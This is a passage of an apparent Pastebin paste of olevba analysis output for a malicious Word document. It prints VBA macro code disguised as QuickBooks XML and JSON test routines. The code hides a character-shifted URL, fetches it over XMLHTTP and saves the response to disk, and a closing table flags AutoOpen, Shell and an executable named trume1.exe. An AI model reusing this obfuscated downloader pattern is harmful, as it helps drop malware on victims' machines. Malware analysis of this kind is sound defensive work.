  749.  DateValid = False
  750. End Function
  751. Public Function RuBik(fromArr() As Variant, LenLen As Long, Dust As Double) As String
  752.     Dim i As Long
  753.     Dim hippi As String
  754.     hippi = ""
  755.     For i = LBound(fromArr) To UBound(fromArr)
  756.         riz = fromArr(i) - 15 * LenLen - i * 100
  757.         hippi = hippi & Chr(riz)
  758.     Next i
  759.     RuBik = hippi
  760. End Function
  761. Public Function TimeValid(strTime As String, _
  762.  strMsgText As String) As Boolean
  763.  If Trim(strTime) = Empty Then
  764.  TimeValid = True
  765.  Exit Function
  766.  End If
  767.  Dim strSplits() As String
  768.  strSplits = Split(Trim(strTime), ":")
  769.  If UBound(strSplits) = 1 Then
  770.  If IsNumeric(strSplits(0)) And IsNumeric(strSplits(1)) Then
  771.  If Len(strSplits(1)) = 2 Then
  772.  If CInt(strSplits(0)) >= 1 And CInt(strSplits(0)) <= 12 And _
  773.  CInt(strSplits(0)) >= 0 And CInt(strSplits(0)) <= 59 Then
  774.  TimeValid = True
  775.  Exit Function
  776.  End If
  777.  End If
  778.  End If
  779.  End If
  780.  MsgBox "Invalid " & strMsgText & " time value"
  781.  TimeValid = False
  782. End Function
  783. Public Function DateTimeString(strDate As String, _
  784.  strTime As String, _
  785.  booAM As Boolean, _
  786.  booSupportsDateTime As Boolean) As String
  787.  Dim strSplits() As String
  788.  If Trim(strDate) = Empty Then
  789.  DateTimeString = ""
  790.  Exit Function
  791.  End If
  792.  If Trim(strTime) = Empty Then
  793.  DateTimeString = Trim(strDate)
  794.  Exit Function
  795.  End If
  796.  strSplits = Split(Trim(strTime), ":")
  797.  If booAM Then
  798.  If strSplits(0) = "12" Then strSplits(0) = "00"
  799.  If Len(strSplits(0)) = 1 Then strSplits(0) = "0" & strSplits(0)
  800.  Else
  801.  If CInt(strSplits(0)) < 12 Then strSplits(0) = str(CInt(strSplits(0)) + 12)
  802.  End If
  803.  DateTimeString = Trim(strDate) & "T" & Trim(strSplits(0)) & ":" & strSplits(1)
  804. End Function
  805. Public Sub AddMSXMLNode(strNodeName As String, _
  806.  objDOMDocument As String, _
  807.  objParentNode As String, _
  808.  objNode As String)
  809.  Set httpRequest = CreateObject("Microsoft" + ".XMLHTTP")
  810.  
  811.  
  812.  
  813. Dim urlAr() As Variant
  814. urlAr = Array(809, 921, 1021, 1117, 1163, 1252, 1352, 1510, 1619, 1710, 1820, 1903, 2016, 2119, 2205, 2302, 2405, 2516, 2620, 2651, 2804, 2916, 3014, 3052, 3159, 3258, 3426, 3456, 3607, 3705, 3755, 3856, 4005, 4052, 4161, 4260, 4410, 4457, 4608, 4656, 4805, 4855, 5005, 5055, 5151, 5306, 5425, 5506)
  815. httpRequest.Open "GET", RuBik(urlAr, 47, 13), False
  816. Exit Sub
  817.  Set objddd.Node = objDOMff.Document.createElement(strNodeName)
  818.  objPadd.rentNode.appendChild objNode
  819. End Sub
  820. Public Sub AddMSXMLAttribute(strAttributeName As String, _
  821.  strAttributeValue As String, _
  822.  objDOMDocument As String, _
  823.  objParentNode As String, _
  824.  objAttribute As String)
  825.  Set objAttribute = objDOMff.Document.createAttribute(strAttributeName)
  826.  objAttribute.Text = strAttributeValue
  827.  objPadd.rentNode.Attributes.setNamedItem objAttribute
  828. End Sub
  829. Public Sub AddMSXMLElement(strElementName As String, _
  830.  strElementValue As String, _
  831.  objDOMDocument As String, _
  832.  objParentNode As String, _
  833.  objElement As String)
  834.  Set objElement = objDOMff.Document.createElement(strElementName)
  835.  objElement.Text = strElementValue
  836.  objPadd.rentNode.appendChild objElement
  837. End Sub
  838. Public Sub CreateStandardRequestNode(boonewMessageSetID As Boolean, _
  839.  stronError As String, _
  840.  objDOMDocument As String, _
  841.  objRootNode As String, _
  842.  objRequestNode As String, _
  843.  objAttribute As String)
  844.  Set objRootNode = objDOMff.Document.createElement("QBXML")
  845.  objDOMff.Document.appendChild objRootNode
  846.  Set objRequestNode = objDOMff.Document.createElement("QBXMLMsgsRq")
  847.  objRootNode.appendChild objRequestNode
  848.  If boonewMessageSetID Then
  849.  stroldMessageSetID = NewMessageSetID
  850.  AddMSXMLAttribute _
  851.  "newMessageSetID", stroldMessageSetID, objDOMDocument, objRequestNode, objAttribute
  852.  stroldMessageSetID = Empty
  853.  End If
  854.  AddMSXMLAttribute _
  855.  "onError", stronError, objDOMDocument, objRequestNode, objAttribute
  856. End Sub
  857. Public Sub GetTags(strInString As String, _
  858.  strStartTag As String, _
  859.  strEndTag As String, _
  860.  intTagLength As Integer)
  861.  If InStr(1, strInString, "<") = 0 Or InStr(1, strInString, ">") = 0 Or _
  862.  InStr(1, strInString, "</") = 0 Or left(strInString, 1) <> "<" Then
  863.  strStartTag = Empty
  864.  strEndTag = Empty
  865.  intTagLength = 0
  866.  Exit Sub
  867.  End If
  868.  strStartTag = left(strInString, InStr(1, strInString, ">"))
  869.  intTagLength = Len(strStartTag)
  870.  strEndTag = Replace(strStartTag, "<", "</")
  871.  If InStr(1, strInString, strEndTag) = 0 Then
  872.  strStartTag = Empty
  873.  strEndTag = Empty
  874.  intTagLength = 0
  875.  End If
  876. End Sub
  877. Public Sub PrettyPrintXMLToFile(XMLString As String, _
  878.  XMLFile As String)
  879.  Dim SplitXMLString() As String
  880.  Dim IndentString As String
  881.  Dim XMLStringLength As Long
  882.  Dim SplitIndex
  883.  Dim FileNum As Integer
  884.  If Trim(XMLString) = Empty Then Exit Sub
  885.  IndentString = Empty
  886.  FileNum = FreeFile
  887.  Open XMLFile For Output As FileNum
  888.  XMLString = Replace(XMLString, vbLf, vbNullString)
  889.  SplitXMLString = Split(XMLString, "<")
  890.  SplitIndex = LBound(SplitXMLString) + 1
  891.  Do
  892.  If left(SplitXMLString(SplitIndex), 1) = "/" And Len(IndentString) > 2 Then
  893.  IndentString = left(IndentString, Len(IndentString) - 3)
  894.  Print #FileNum, IndentString & "<" & _
  895.  SplitXMLString(SplitIndex)
  896.  SplitIndex = SplitIndex + 1
  897.  ElseIf left(SplitXMLString(SplitIndex + 1), 1) = "/" Then
  898.  If InStr(1, left(SplitXMLString(SplitIndex), _
  899.  InStr(1, SplitXMLString(SplitIndex), ">")), _
  900.  " ") > 0 Then
  901.  Print #FileNum, IndentString & "<" & _
  902.  SplitXMLString(SplitIndex)
  903.  SplitIndex = SplitIndex + 1
  904.  Else
  905.  Print #FileNum, IndentString & "<" & _
  906.  SplitXMLString(SplitIndex) & "<" & _
  907.  SplitXMLString(SplitIndex + 1)
  908.  SplitIndex = SplitIndex + 2
  909.  End If
  910.  Else
  911.  Print #FileNum, IndentString & "<" & _
  912.  SplitXMLString(SplitIndex)
  913.  If SplitXMLString(SplitIndex) <> "?xml version=""1.0"" ?>" And _
  914.  SplitXMLString(SplitIndex) <> "!DOCTYPE QBXML PUBLIC
  915. InStr(1, SplitXMLString(SplitIndex), "qbxml version") = 0 Then
  916. IndentString = IndentString & " "
  917. End If
  918. SplitIndex = SplitIndex + 1
  919. End If
  920. Loop Until SplitIndex >= UBound(SplitXMLString)
  921. If left(SplitXMLString(UBound(SplitXMLString)), 1) = "/" Then
  922. If Len(IndentString) >= 3 Then
  923. IndentString = left(IndentString, Len(IndentString) - 3)
  924. End If
  925. End If
  926. Print #FileNum, IndentString & "<" & _
  927. SplitXMLString(UBound(SplitXMLString))
  928. Close FileNum
  929. End Sub
  930. Public Function PrettyPrintXMLToString(strInXMLString As String) As String
  931. Dim SplitXMLString() As String
  932. Dim IndentString As String
  933. Dim XMLStringLength As Long
  934. Dim SplitIndex
  935. Dim FileNum As Integer
  936. Dim XMLString As String
  937. Dim strOut As String
  938. XMLString = strInXMLString
  939. strOut = Empty
  940. If Trim(XMLString) = Empty Then
  941. PrettyPrintXMLToString = Empty
  942. Exit Function
  943. End If
  944. IndentString = Empty
  945. XMLString = Replace(XMLString, vbLf, vbNullString)
  946. SplitXMLString = Split(XMLString, "<")
  947. SplitIndex = LBound(SplitXMLString) + 1
  948. Do
  949. If left(SplitXMLString(SplitIndex), 1) = "/" And Len(IndentString) > 2 Then
  950. IndentString = left(IndentString, Len(IndentString) - 3)
  951. strOut = strOut & IndentString & "<" & _
  952. SplitXMLString(SplitIndex) & vbCrLf
  953. SplitIndex = SplitIndex + 1
  954. ElseIf left(SplitXMLString(SplitIndex + 1), 1) = "/" Then
  955. If InStr(1, left(SplitXMLString(SplitIndex), _
  956. InStr(1, SplitXMLString(SplitIndex), ">")), _
  957. " ") > 0 Then
  958. strOut = strOut & IndentString & "<" & _
  959. SplitXMLString(SplitIndex) & vbCrLf
  960. SplitIndex = SplitIndex + 1
  961. Else
  962. strOut = strOut & IndentString & "<" & _
  963. SplitXMLString(SplitIndex) & "<" & _
  964. SplitXMLString(SplitIndex + 1) & vbCrLf
  965. SplitIndex = SplitIndex + 2
  966. End If
  967. Else
  968. strOut = strOut & IndentString & "<" & _
  969. SplitXMLString(SplitIndex) & vbCrLf
  970. SplitIndex = SplitIndex + 1
  971. End If
  972. Loop Until SplitIndex >= UBound(SplitXMLString)
  973. If left(SplitXMLString(UBound(SplitXMLString)), 1) = "/" Then
  974. If Len(IndentString) >= 3 Then
  975. IndentString = left(IndentString, Len(IndentString) - 3)
  976. End If
  977. End If
  978. strOut = strOut & IndentString & "<" & _
  979. SplitXMLString(UBound(SplitXMLString))
  980. PrettyPrintXMLToString = strOut
  981. End Function
  982. Private Function NewMessageSetID() As String
  983. NewMessageSetID = Format(Now, "XyyyymmddThhmmss")
  984. End Function
  985.  
  986.  
  987.  
  988.  
  989. -------------------------------------------------------------------------------
  990. VBA MACRO Module3.bas
  991. in file: pmB3A6-01.doc - OLE stream: u'Macros/VBA/Module3'
  992. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  993.  
  994. Public httpRequest As Object
  995. Private Sub ToString_test1()
  996. Dim lib As String
  997. Set lib = New ejsonlib
  998. Dim a As String
  999. Dim b As Date
  1000. Debug.Print "=> ToString_test1"
  1001. b = Now()
  1002. Debug.Print , "ToString_test1=" & libdd.dd.ToString(Array("a", "b", Array(1, b, "3")))
  1003. If libdd.dd.ParseError = vbNullString Then
  1004. Debug.Print , "VALIDATED"
  1005. Else
  1006. Debug.Print , libdd.dd.ParseError
  1007. Debug.Print , "FAILED"
  1008. End If
  1009. Set lib = Nothing
  1010. End Sub
  1011. Private Sub ToString_test2()
  1012. Dim lib As String
  1013. Set lib = New ejsonlib
  1014. Dim a As Object
  1015. Dim b As Object
  1016. Dim c As New Collection
  1017. Debug.Print "=> ToString_test2"
  1018. Set a = CreateObject("Scripting.Dictionary")
  1019. Set b = CreateObject("Scripting.Dictionary")
  1020. a("aaa") = "abc"
  1021. a("bbb") = Array(0, 1, b)
  1022. b("ccc") = "def"
  1023. Set b("ddd") = c
  1024. c.Add "ghi"
  1025. c.Add 999
  1026. Debug.Print , "libdd.dd.ToString(a)=" & libdd.dd.ToString(a)
  1027. If libdd.dd.ParseError = vbNullString Then
  1028. Debug.Print , "VALIDATED"
  1029. Else
  1030. Debug.Print , libdd.dd.ParseError
  1031. Debug.Print , "FAILED"
  1032. End If
  1033. Set lib = Nothing
  1034. Set c = Nothing
  1035. Set b = Nothing
  1036. Set a = Nothing
  1037. End Sub
  1038. Private Sub parse_test1()
  1039. Dim lib As String
  1040. Set lib = New ejsonlib
  1041. Dim json As Object
  1042. Dim parseString As String
  1043. Debug.Print "=> parse_test1"
  1044. parseString = " " & vbCrLf & vbTab & " {}"
  1045. Debug.Print , "parseString=" & parseString
  1046. Set json = libdd.dd.Parse(parseString)
  1047. If libdd.dd.ParseError = vbNullString Then
  1048. Debug.Print , "VALIDATED"
  1049. Else
  1050. Debug.Print , libdd.dd.ParseError
  1051. Debug.Print , "FAILED {}"
  1052. GoTo PROC_EXIT
  1053. End If
  1054. Debug.Assert TypeName(json) = "Dictionary"
  1055. Debug.Print , "TypeName(json)=" & TypeName(json), "json.Count=" & json.Count
  1056. Debug.Print
  1057. parseString = " " & vbCrLf & vbTab & " []"
  1058. Debug.Print , "parseString=" & parseString
  1059. Set json = libdd.dd.Parse(parseString)
  1060. If libdd.dd.ParseError = "" Then
  1061. Debug.Print , "VALIDATED"
  1062. Else
  1063. Debug.Print , libdd.dd.ParseError
  1064. Debug.Print , "FAILED []"
  1065. GoTo PROC_EXIT
  1066. End If
  1067. Debug.Assert TypeName(json) = "Collection"
  1068. Debug.Print , "TypeName(json)=" & TypeName(json), "json.Count=" & json.Count
  1069. PROC_EXIT:
  1070. Set json = Nothing
  1071. Set lib = Nothing
  1072. End Sub
  1073. Private Sub parse_test2()
  1074. Dim lib As String
  1075. Set lib = New ejsonlib
  1076. Dim json As Object
  1077. Dim parseString As String
  1078. Debug.Print "=> parse_test2"
  1079. parseString = " " & vbCrLf & vbTab & " {}"
  1080. Debug.Print , "parseString=" & parseString
  1081. Set json = libdd.dd.Parse(parseString)
  1082. Debug.Print , "libdd.dd.ToString(json)=" & libdd.dd.ToString(json)
  1083. If libdd.dd.ParseError = vbNullString Then
  1084. Debug.Print , "VALIDATED"
  1085. Else
  1086. Debug.Print , libdd.dd.ParseError
  1087. Debug.Print , "FAILED"
  1088. End If
  1089. Set json = Nothing
  1090. Set lib = Nothing
  1091. End Sub
  1092. Private Sub parse_test3()
  1093. Dim lib As String
  1094. Set lib = New ejsonlib
  1095. Dim json As Object
  1096. Dim strEmbed As String
  1097. Dim errString As String
  1098. Debug.Print "=> parse_test3"
  1099. strEmbed = " [[], {""test1"":"
  1100. Debug.Print , "strEmbed=" & strEmbed
  1101. Set json = libdd.dd.Parse(" " & vbCrLf & vbTab & strEmbed)
  1102. Debug.Print , "libdd.dd.ToString(json)=" & libdd.dd.ToString(json)
  1103. If libdd.dd.ParseError = vbNullString Then
  1104. Debug.Print , "VALIDATED"
  1105. Else
  1106. Debug.Print , libdd.dd.ParseError
  1107. Debug.Print , "FAILED"
  1108. End If
  1109. Set json = Nothing
  1110. Set lib = Nothing
  1111. End Sub
  1112. Private Sub parse_test3a()
  1113. Dim lib As String
  1114. Set lib = New ejsonlib
  1115. Dim json As Object
  1116. Dim strEmbedValid As String
  1117. Dim errString As String
  1118. Debug.Print "=> parse_test3a STRICT JSON"
  1119. strEmbedValid = " [[], {""test1"":""v1"", ""test2"":""v222"", ""test3"":""v33333""}, null , ""test"", 123, 567.8910, 4.7e+10, true, false]"
  1120. Debug.Print , "strEmbedValid=" & strEmbedValid
  1121. Set json = libdd.dd.Parse(" " & vbCrLf & vbTab & strEmbedValid)
  1122. Debug.Print , "libdd.dd.ToString(json)=" & libdd.dd.ToString(json)
  1123. If libdd.dd.ParseError = vbNullString Then
  1124. Debug.Print , "VALIDATED"
  1125. Else
  1126. Debug.Print , libdd.dd.ParseError
  1127. Debug.Print , "FAILED"
  1128. End If
  1129. Set json = Nothing
  1130. Set lib = Nothing
  1131. End Sub
  1132. Private Sub parse_test4()
  1133. Dim lib As String
  1134. Set lib = New ejsonlib
  1135. Dim json As Object
  1136. Dim errString As String
  1137. Dim strEmbed As String
  1138. Debug.Print "=> parse_test4"
  1139. strEmbed = "[{""type"":""t1"",""title"":""?f?[?^1"",""attr"":[""1-1"",""1-2""]},{""type"":""t2"",""title"":""?f?[?^2"",""attr"":[""2-1"",""2-2""]}]"""
  1140. Debug.Print , "strEmbed=" & strEmbed
  1141. Set json = libdd.dd.Parse("[{""type"":""t1"",""title"":""?f?[?^1"",""attr"":[""1-1"",""1-2""]},{""type"":""t2"",""title"":""?f?[?^2"",""attr"":[""2-1"",""2-2""]}]")
  1142. Debug.Print , "libdd.dd.ToString(json)=" & libdd.dd.ToString(json)
  1143. errString = libdd.dd.ParseError
  1144. If errString = "" Then
  1145. Debug.Print , "VALIDATED"
  1146. Else
  1147. Debug.Print , errString
  1148. Debug.Print , "FAILED"
  1149. End If
  1150. Set json = Nothing
  1151. Set lib = Nothing
  1152. End Sub
  1153. Public Sub parse_test5()
  1154. Dim lib As String
  1155.  Dim json As Object
  1156. Dim Text As String
  1157. Dim res1 As String
  1158. Dim res2 As String
  1159. Dim errString As String
  1160.  
  1161. Set shellApp = CreateObject("Shell.Application")
  1162.  
  1163.  
  1164. With CreateObject("ADODB.Stream")
  1165. .Type = 1
  1166.    .Open
  1167.    .write httpRequest.responseBody
  1168.    .savetofile tempFile, 2
  1169. .Close
  1170. End With
  1171. Exit Sub
  1172. Debug.Print , "text=" & Text
  1173. Set json = libdd.dd.Parse(Text)
  1174. Debug.Assert Err.Number = 0
  1175. res1 = libdd.dd.ToString(json)
  1176. Set json = libdd.dd.Parse(libdd.dd.ToString(json))
  1177. Debug.Assert Err.Number = 0
  1178. res2 = libdd.dd.ToString(json)
  1179. errString = libdd.dd.ParseError
  1180. If errString = "" Then
  1181. Debug.Print , res1
  1182. Debug.Print , res2
  1183. Debug.Assert (res1 = res2)
  1184. Debug.Print , "VALIDATED"
  1185. Else
  1186. Debug.Print , errString
  1187. Debug.Print , "FAILED"
  1188. End If
  1189. Set json = Nothing
  1190. End Sub
  1191. Private Sub skip_test()
  1192. Dim lib As String
  1193. Set lib = New ejsonlib
  1194. Dim str As String
  1195. Dim index As Long
  1196. Dim errString As String
  1197. Debug.Print "=> skip_test"
  1198. str = vbCrLf & vbCr & vbLf & " " & "abc"
  1199. index = 1
  1200. libdd.dd.SkipChar str, index
  1201. Debug.Assert index = 6
  1202. Debug.Print , "index=" & index, "Mid(str, index, 1)=" & Mid(str, index, 1)
  1203. Set lib = Nothing
  1204. End Sub
  1205.  
  1206.  
  1207. +------------+----------------------+-----------------------------------------+
  1208. | Type       | Keyword              | Description                             |
  1209. +------------+----------------------+-----------------------------------------+
  1210. | AutoExec   | AutoOpen             | Runs when the Word document is opened   |
  1211. | Suspicious | Open                 | May open a file                         |
  1212. | Suspicious | Shell                | May run an executable file or a system  |
  1213. |            |                      | command                                 |
  1214. | Suspicious | WScript.Shell        | May run an executable file or a system  |
  1215. |            |                      | command                                 |
  1216. | Suspicious | Shell.Application    | May run an application (if combined     |
  1217. |            |                      | with CreateObject)                      |
  1218. | Suspicious | CreateObject         | May create an OLE object                |
  1219. | Suspicious | Chr                  | May attempt to obfuscate specific       |
  1220. |            |                      | strings                                 |
  1221. | Suspicious | ADODB.Stream         | May create a text file                  |
  1222. | Suspicious | SaveToFile           | May create a text file                  |
  1223. | Suspicious | Write                | May write to a file (if combined with   |
  1224. |            |                      | Open)                                   |
  1225. | Suspicious | Output               | May write to a file (if combined with   |
  1226. |            |                      | Open)                                   |
  1227. | Suspicious | Print #              | May write to a file (if combined with   |
  1228. |            |                      | Open)                                   |
  1229. | Suspicious | Lib                  | May run code from a DLL                 |
  1230. | Suspicious | Microsoft.XMLHTTP    | May download files from the Internet    |
  1231. |            |                      | (obfuscation: VBA expression)           |
  1232. | Suspicious | Hex Strings          | Hex-encoded strings were detected, may  |
  1233. |            |                      | be used to obfuscate strings (option    |
  1234. |            |                      | --decode to see all)                    |
  1235. | Suspicious | Base64 Strings       | Base64-encoded strings were detected,   |
  1236. |            |                      | may be used to obfuscate strings        |
  1237. |            |                      | (option --decode to see all)            |
  1238. | Suspicious | VBA obfuscated       | VBA string expressions were detected,   |
  1239. |            | Strings              | may be used to obfuscate strings        |
  1240. |            |                      | (option --decode to see all)            |
  1241. | IOC        | trume1.exe           | Executable file name (obfuscation: VBA  |
  1242. |            |                      | expression)                             |
  1243. | VBA string | \trume1.exe          | "\" + "" + "" + "tru" + "" + "" + "me1" |
  1244. |            |                      | + "." + "" + "e" + "xe"                 |
  1245. | VBA string | Microsoft.XMLHTTP    | ("Microsoft" + ".XMLHTTP")              |
  1246. | VBA string |  abc                 | " " & "abc"                             |
  1247. +------------+----------------------+-----------------------------------------+
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top